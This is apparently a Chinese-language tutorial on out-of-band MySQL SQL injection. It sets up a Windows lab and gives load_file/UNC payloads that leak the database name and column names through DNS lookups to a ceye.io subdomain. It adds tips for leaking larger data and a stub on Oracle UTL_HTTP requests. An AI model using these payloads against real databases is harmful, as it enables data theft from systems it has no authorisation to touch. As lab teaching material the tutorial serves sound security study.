mysql注入-OOB注入

OOB注入

带外通道技术(Out-Of-Band )

带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞。

这一类漏洞中，攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。

带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求，然后，攻击者可以通过这个请求来提取数据。

利用条件：

脆弱的系统（mysql的OOB注入需要的secure_file_priv的值为空）
查看值：select global variables like ‘%secure_file_priv%’;

预备知识点

DNS查询

UNC路径——可以用于共享文件夹
UNC( Universal Naming Convention)/通用命名规则
Windows主机默认存在, Linux主机默认不存在。格式
servername\sharename,其中 servername是服务器名。 sharename是共享资源的名称。
我们平时使用的打印机、网络共享文件夹时,都会用到UNC填写地址。并且当我们在使用UNC路径时,会对域名进行DNS查询。

泛域名解析：可以使用通配符的方式将次级域名都解析到同一个域名，如*.example.com这样的通配符可以解析 xxx.example.com。

环境搭建

1.phpstudy -——使用环境 ：win2003 phpstudy

mysql 远程访问权限开启：

use mysql;
grant all privileges on *.* to root@'%' identified by '密码';

flush privileges; 

——————————————————————————
grant all privileges on . to root@’%’ identified by ‘密码’; # 这里的’密码‘为你给新增权限用户设置的密码，% 表示所有主机，也可以填需要访问的IP
flush privileges; # 这一步一定要做，不然无法成功！ 这句表示从mysql数据库的grant表中重新加载权限数据，因为MySQL把权限都放在了cache中，所以在做完更改后需要重新加载。

2.CEYE ——DNS query

可以看到DNS查询的数据，传输的数据是明文的。

SQL OOB注入示例

load_file

函数原型:load_file(file_path)
load_file()函数是MySQL中一个常用的函数，主要用来读取文件内容。
该函数会读取文件内容，并将文件内容作为字符串返回。如果读取失败会返回NULL。

所以需要修改下secure_file_priv的策略：

如果想要完成任意目录下文件读取需要在/etc/my.conf(my.ini)中将secure_file_priv的值置为空。

注入语句：

分析：利用了Windows默认开启UNC路径

参考payload：
mgk51i 是ceye平台上每个注册用户生成的独立子域名，具体可以到http://ceye.io/看使用方法

 ?id=1' and load_file(concat("\\\\",(select database()),".mgk51i.ceye.io\\abc")) --+

 ?id=1' and load_file(concat("\\\\",(select group_concat(column_name) from information_schema.columns where table_name='student'),".mgk51i.ceye.io\\abc")) --+

拓展——大文件传输思路：

分析：substr可以分割长内容，to_base64 可以防止二进制传输（中文乱码）的情况

注意点：

域名由标签组成，以点(.)分隔，标签的长度不可以超过63个字符。整个域名不可以超过253个字符，包括点(﹒)。

mysql5.6之前不带有to_base64()和from_base64()两个内置函数【base64加解密函数】，Windows2003测试环境的mysql为5.5版本，无法使用这个

扩展-HTTP带外注入-Oracle

UTL_HTTP.request

Oracle 发起HTTP请求
UTL_HTTP.REQUEST ( url IN VARCHAR2,proxy IN VARCHAR2 DEFAULT NULL);

url:目标服务器地址
porxy:代理服务器地址，该参数为可选参数
它的返回类型是长度为2000或更短的字符串，它包含从 HTTP请求返回到参数URL的HTML结果的前2000个字节。

参数
它的返回类型是长度为2000或更短的字符串，它包含从 HTTP请求返回到参数URL的HTML结果的前2000个字节。